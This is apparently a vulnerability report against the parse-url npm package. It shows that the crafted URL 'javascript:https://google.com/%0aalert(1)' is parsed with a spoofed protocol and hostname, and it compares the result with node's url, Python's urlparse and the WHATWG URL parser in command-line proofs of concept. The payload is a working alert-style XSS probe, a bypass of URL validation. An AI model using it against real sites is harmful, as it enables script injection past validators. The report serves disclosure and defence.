protocol spoofing in ionicabizau/parse-url
Reported on
Mar 4th 2022
Description
I found a vulnerability that incorrectly parses the protocol when using a javascript scheme.
location.href = 'javasript:https://google.com/%0aalert(1)'
First, you can check that the above URL executes the script normally through the above code.
- node.js
❯ node -e 'console.log(require("url").parse("javascript:https://google.com/%0aalert(1)"))'
Url {
protocol: 'javascript:',
slashes: null,
auth: null,
host: null,
port: null,
hostname: null,
hash: null,
search: null,
query: null,
pathname: 'https://google.com/%0aalert(1)',
path: 'https://google.com/%0aalert(1)',
href: 'javascript:https://google.com/%0aalert(1)'
}
- Python
❯ python3
Python 3.9.10 (main, Jan 15 2022, 11:48:04)
[Clang 13.0.0 (clang-1300.0.29.3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse('javascript:https://google.com/%0aalert(1)')
ParseResult(scheme='javascript', netloc='', path='https://google.com/%0aalert(1)', params='', query='', fragment='')
>>>
I'll give an example with the two famous parsers above. You can see the protocol being parsed into javascript.
Proof of Concept
❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("javascript:https://google.com/%0aalert(1)"))'
{
protocols: [ 'javascript:https' ],
protocol: 'javascript:https',
port: null,
resource: 'google.com',
user: '',
pathname: '/%0aalert(1)',
hash: '',
search: '',
href: 'javascript:https://google.com/%0aalert(1)',
query: [Object: null prototype] {}
}
On the other hand, you can see parse-url parses the protocol strangely.
❯ node -e 'console.log(new URL("javascript:https://google.com/%0aalert(1)"))'
URL {
href: 'javascript:https://google.com/%0aalert(1)',
origin: 'null',
protocol: 'javascript:',
username: '',
password: '',
host: '',
hostname: '',
port: '',
pathname: 'https://google.com/%0aalert(1)',
search: '',
searchParams: URLSearchParams {},
hash: ''
}
The new URL
you said parses the JavaScript code correctly in this case. You can see that the character after javascript:
is not parsed into hostname. This is normal.
❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("javascript:https://google.com/%0aalert(1)"))'
{
protocols: [ 'javascript:https' ],
protocol: 'javascript:https',
port: null,
resource: 'google.com',
user: '',
pathname: '/%0aalert(1)',
hash: '',
search: '',
href: 'javascript:https://google.com/%0aalert(1)',
query: [Object: null prototype] {}
}
But url-parse still parses hostname and doesn't parse protocol properly either. Again, characters after javascript:
are JavaScript code, so do not analyze them as urls as above, as this may lead to protocol and hostname spoofing. Thanks
I didn't write it well. This comment has nothing to do with this report. sorry.